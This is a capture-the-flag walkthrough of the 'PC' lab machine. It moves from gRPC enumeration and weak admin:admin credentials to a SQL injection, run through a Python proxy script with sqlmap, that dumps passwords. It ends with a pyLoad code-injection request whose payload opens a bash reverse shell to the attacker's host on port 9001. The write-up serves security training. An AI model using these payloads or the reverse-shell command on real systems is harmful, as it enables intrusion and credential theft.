The PC machine mandated us to perform a port enumeration on the target system to identify an open port for gRPC. Subsequently, we exploited this gRPC port, utilizing weak credentials to gain access as the ‘admin’ user. We then proceeded to enumerate the available methods within the service.

Continuing our enumeration efforts, we uncovered a SQL injection vulnerability while inspecting the various services. Exploiting this vulnerability allowed us to acquire credentials for the ‘sau’ user, which we used to establish a connection to the SSH service and obtain a shell as ‘sau’ on the target system.

Further examination of the target system’s running services revealed an internal service operating on port 8000. After forwarding this port to our machine, we discovered it to be a pyLoad service. We also identified a version vulnerability, specifically a Code Injection vulnerability, which facilitated our acquisition of a root-level shell on the machine.

Recon

nmap (TCP all ports)

nmap finds two open TCP ports:

$ nmap -Pn -p- 10.129.41.175
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-22 10:57 WEST
Nmap scan report for 10.129.41.175
Host is up (0.050s latency).
Not shown: 65533 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
50051/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 109.46 seconds
$ 

nmap (found TCP ports exploration)

$ nmap -sV -sC -Pn 10.129.41.175 -p 22,50051 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-22 11:01 WEST
Nmap scan report for 10.129.41.175
Host is up (0.048s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
50051/tcp open  unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.71 seconds
$ 

gRPC - TCP 50051

Enumeration

By interacting with the unknwon service at the port 50051 we can see the following:

$ nc -v 10.129.41.175 50051 
Connection to 10.129.41.175 50051 port [tcp/*] succeeded!
?��?�� ?
$ 

This tells us that the communication is either mashelled or encrypted. By searching online we can see that there are some references to gRPC:

gRPC methods

Let’s try to use a tool to interact with it. One of the tools I ended up using was the tool grpcurl. With it we can try to interact with the service.

To request the running services, we can invoke the list command as follows:

$ ./grpcurl -plaintext 10.129.41.175:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
$

With this we can see that it is running the SimpleApp service. We can also try to list the possible methods to invoke with the list command followed by the service as follows:

./grpcurl -plaintext 10.129.41.175:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo
$

This tells us that we can invoke the getInfo, RegisterUser and the LoginUser within the service.

By invoking the getInfo method we are presented with the following response:

$ ./grpcurl -plaintext 10.129.41.175:50051 SimpleApp.getInfo
{
  "message": "Authorization Error.Missing 'token' header"
}
$

As we can see we are required to have a token to be able to interact with it.

Shell as sau

We saw previously that there was a RegisterUser method so let’s try to register an account with it:

$ ./grpcurl -plaintext 10.129.41.175:50051 SimpleApp.RegisterUser
{
  "message": "username or password must be greater than 4"
}
$ ./grpcurl -plaintext -d '{"username":"admin", "password":"admin"}' 10.129.41.175:50051 SimpleApp.RegisterUser
{
  "message": "User Already Exists!!"
}
$

By chance we got to know that the admin user is already registered (I like to do this because that way we can kill to birds with one stone).

Credentials found

admin:admin

Let’s then try to login with it paired with weak credentials:

$ ./grpcurl -plaintext -v -d '{"username":"admin", "password":"admin"}' 10.129.41.175:50051 SimpleApp.LoginUser

Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );

Request metadata to send:
(empty)

Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

Response contents:
{
  "message": "Your id is 536."
}

Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ3NjMwNDB9.JoJfh9Z-HJZ4XkZWdTpX2P9azaTua2f29NnIV5RlOh4'
Sent 1 request and received 1 response
$

We can with this confirm that the admin user uses weak credentials.

SQLi

Now that we have a token, let’s try to invoke the previously used getInfo method:

$ ./grpcurl -plaintext -v -H 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ3NjMwNDB9.JoJfh9Z-HJZ4XkZWdTpX2P9azaTua2f29NnIV5RlOh4' 10.129.41.175:50051 SimpleApp.getInfo

Resolved method descriptor:
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );

Request metadata to send:
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ3NjMwNDB9.JoJfh9Z-HJZ4XkZWdTpX2P9azaTua2f29NnIV5RlOh4

Response headers received:
(empty)

Response trailers received:
content-type: application/grpc
Sent 0 requests and received 0 responses
ERROR:
  Code: Unknown
  Message: Unexpected <class 'TypeError'>: bad argument type for built-in operation
$

Previously there was a mention to an id, let’s try to pass it as a value and set it to true:

$ ./grpcurl -plaintext -H 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ3NjMwNDB9.JoJfh9Z-HJZ4XkZWdTpX2P9azaTua2f29NnIV5RlOh4' -d '{"id": "true"}' 10.129.41.175:50051 SimpleApp.getInfo
{
  "message": "The admin is working hard to fix the issues."
}

It worked, although rather odd. We can also try for a SQL injection vulnerability:

$ ./grpcurl -plaintext -H 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ3NzMwOTF9.q7iEpwKSr7J05Bk3Snk1o2vpI0leBxAG3ft5wMRJBoY' -d '{"id": "false or 2 LIKE 2"}' 10.129.41.175:50051 SimpleApp.getInfo
{
  "message": "Will update soon."
}
$ 

As we can see it seems to be vulnerable to SQLi.

Automated SQLi

To make the exploitation less tedious let’s script a small web proxy to enable us to use the sqlmap tool against it.

The code used can be seen bellow:

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
import subprocess
import json

def send_grpc(payload):
	clean_payload = '{"id":"%s"}' % unquote(payload).replace('"','\'')

	cmd = [
		"grpcurl",
		"-plaintext",
		"-H", "token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ3Nzk0NDZ9.vHyRAyoMLzKWO06YdxTvb2BkK5JBGJKlXrMsLyLhuOM",
		"-d", clean_payload,
		"10.129.41.175:50051",
		"SimpleApp.getInfo"
	]

	result = subprocess.run(cmd, capture_output=True, text=True)
	resp = result.stdout

	# Process the response
	# parsed_response = json.loads(response)
	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_grpc(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass

By running now the tool against our proxy we get the following:

$ sqlmap -u "http://localhost:8081/?id=1" --level=5 --risk=3 -T accounts --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.6.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:48:57 /2023-05-22/

[15:48:57] [INFO] resuming back-end DBMS 'sqlite' 
[15:48:57] [INFO] testing connection to the target URL
[15:48:57] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.6')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: id=-1278 OR 1985=1985

    Type: time-based blind
    Title: SQLite > 2.0 OR time-based blind (heavy query)
    Payload: id=1 OR 3708=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id=1 UNION ALL SELECT CHAR(113,106,107,120,113)||CHAR(120,75,83,79,79,104,101,97,85,100,117,84,81,71,80,85,71,78,71,108,122,122,89,111,79,120,77,103,76,107,75,118,82,80,80,121,100,109,72,80)||CHAR(113,98,118,106,113)-- rEFI
---
[15:48:57] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[15:48:57] [INFO] fetching columns for table 'accounts' 
[15:48:57] [INFO] fetching entries for table 'accounts'
Database: <current>
Table: accounts
[2 entries]
+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+

[15:48:58] [INFO] table 'SQLite_masterdb.accounts' dumped to CSV file '/home/pengrey/.local/share/sqlmap/output/localhost/dump/SQLite_masterdb/accounts.csv'
[15:48:58] [INFO] fetched data logged to text files under '/home/pengrey/.local/share/sqlmap/output/localhost'
[15:48:58] [WARNING] your sqlmap version is outdated

[*] ending @ 15:48:58 /2023-05-22/

$ 

Credentials found

sau:HereIsYourPassWord1431

By using them to ssh onto the machine we get a shell as the sau user:

$ ssh sau@10.129.41.175
sau@10.129.41.175's password: 
Last login: Mon May 15 09:00:44 2023 from 10.10.14.19
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
sau@pc:~$ 

Shell as root

Network Services

Now that we have a shell as an user inside the machine we can try to probe the running services inside of it, that are using ports as follows:

sau@pc:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::50051                :::*                    LISTEN     
udp        0      0 127.0.0.53:53           0.0.0.0:*                          
udp        0      0 0.0.0.0:68              0.0.0.0:*                          
sau@pc:~$

We can see an interesting service being run on port 8000, let’s try to check if it’s an HTTP service:

sau@pc:~$ curl 127.0.0.1:8000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F">/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F</a>. If not, click the link.
sau@pc:~$

With this we can confirm that it is indeed a web service. To better interact with it we can forward the port to our host with ssh as follows:

$ ssh -D 1080 -C -N sau@10.129.41.175

Now if we go to the address on our machine we are met with the following:

Code Injection Vulnerability

To get the version of it we can run the following on the target machine:

sau@pc:/opt/app$ pip list | grep "pyload"
pyload-ng              0.5.0b3.dev30

By searching online for possible vulnerabilities related to this version we can see the following report where it mentions a Code Injection vulnerability in version next to the one present on the target. While searching for this vulnerability we can also encounter the following POC.

To try to exploit this we can use the POC with proxychains, enabling us to run it from our machine onto the target. The payload in this case will be a reverse shell to our machine as follows:

proxychains curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "jk=pyimport%20os;os.system(\"bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E15%2E92%2F9001%200%3E%261\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa" "http://localhost:8000/flash/addcrypted2"

What remains now is to listen on our machine to catch the shell as root:

$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.41.175 40012
bash: cannot set terminal process group (27250): Inappropriate ioctl for device
bash: no job control in this shell
root@pc:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@pc:/#